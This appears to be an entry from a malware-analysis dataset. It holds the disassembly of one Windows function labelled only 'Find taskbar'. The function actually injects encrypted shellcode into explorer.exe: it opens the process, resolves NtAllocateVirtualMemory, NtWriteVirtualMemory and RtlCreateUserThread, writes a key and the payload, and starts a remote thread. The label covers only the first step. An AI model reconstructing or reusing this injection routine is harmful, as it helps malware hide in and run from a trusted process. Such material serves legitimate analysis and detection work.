Function at 0x14000184c
Capabilities:
Find taskbar

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0xe0
lea rbp, [rsp + 0xe0]
mov edx, 0
lea rax, str.Shell_TrayWnd
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400018b9
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_find_explorer.exe_window.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov eax, dword [rbp - 0x40]
test eax, eax
jne 0x14000190c
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_get_process_ID_for_explorer.exe.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
mov eax, dword [rbp - 0x40]
mov r8d, eax
mov edx, 0
mov ecx, 0x42a
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001968
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_open_explorer.exe_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
lea rax, str.NtAllocateVirtualMemory
mov rdx, rax
lea rax, str.ntdll.dll
mov rcx, rax
call fcn.140016bf0
mov qword [rbp - 0x18], rax
lea rax, str.NtWriteVirtualMemory
mov rdx, rax
lea rax, str.ntdll.dll
mov rcx, rax
call fcn.140016c90
mov qword [rbp - 0x20], rax
lea rax, str.RtlCreateUserThread
mov rdx, rax
lea rax, str.ntdll.dll
mov rcx, rax
call fcn.140016b50
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x48], 0
mov eax, dword [0x141128738]
mov eax, eax
add rax, 1
mov qword [rbp - 0x50], rax
mov r10, qword [rbp - 0x18]
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
je 0x140001a57
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_allocate_memory_in_target_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
mov byte [rbp - 0x2d], 0x5a
lea rax, [rbp - 0x39]
mov qword [rbp - 0x38], rax
nop
nop
mov eax, dword [0x141128738]
mov edx, eax
lea rax, section..data
lea rcx, [rdx + rax]
lea rdx, [rbp - 0x39]
lea rax, [rbp - 0x70]
mov r9, rdx
mov r8, rcx
lea rdx, section..data
mov rcx, rax
call fcn.14009ddb0
lea rax, [rbp - 0x39]
mov rcx, rax
call fcn.140092cf0
nop
movzx ebx, byte [rbp - 0x2d]
mov eax, dword [0x141128738]
mov esi, eax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009dd80
mov r8d, ebx
mov edx, esi
mov rcx, rax
call fcn.140001480
movzx eax, byte [rbp - 0x2d]
mov byte [rbp - 0x75], al
mov r10, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x48]
lea r8, [rbp - 0x75]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x74]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, rax
call r10
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
je 0x140001b73
mov r10, qword [rbp - 0x18]
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x4000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_write_key_to_remote_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
mov rbx, qword [rbp - 0x20]
mov esi, dword [0x141128738]
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009dd80
mov r8, rax
mov rax, qword [rbp - 0x48]
lea rdx, [rax + 1]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x74]
mov qword [rsp + 0x20], rcx
mov r9d, esi
mov rcx, rax
call rbx
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x140001bbf
mov edx, dword [rbp - 0x74]
mov eax, dword [0x141128738]
cmp edx, eax
je 0x140001c36
mov r10, qword [rbp - 0x18]
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x4000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_write_encrypted_shellcode_to_remote_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
mov r10, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x90]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdx
lea rdx, [0x1400014dc]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
je 0x140001d11
mov r10, qword [rbp - 0x18]
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x4000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b5060
mov rbx, rax
lea rax, str.Failed_to_create_remote_thread.
mov rdx, rax
mov rcx, rbx
call fcn.14008d830
mov r8, qword [fcn.14008da00]
lea rax, [0x1411347f0]
mov rdx, rax
mov rcx, rbx
call fcn.1400b58e0
mov rax, qword [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009de20
jmp 0x140001e00
add rsp, 0xe0
pop rbx
pop rsi
pop rbp
ret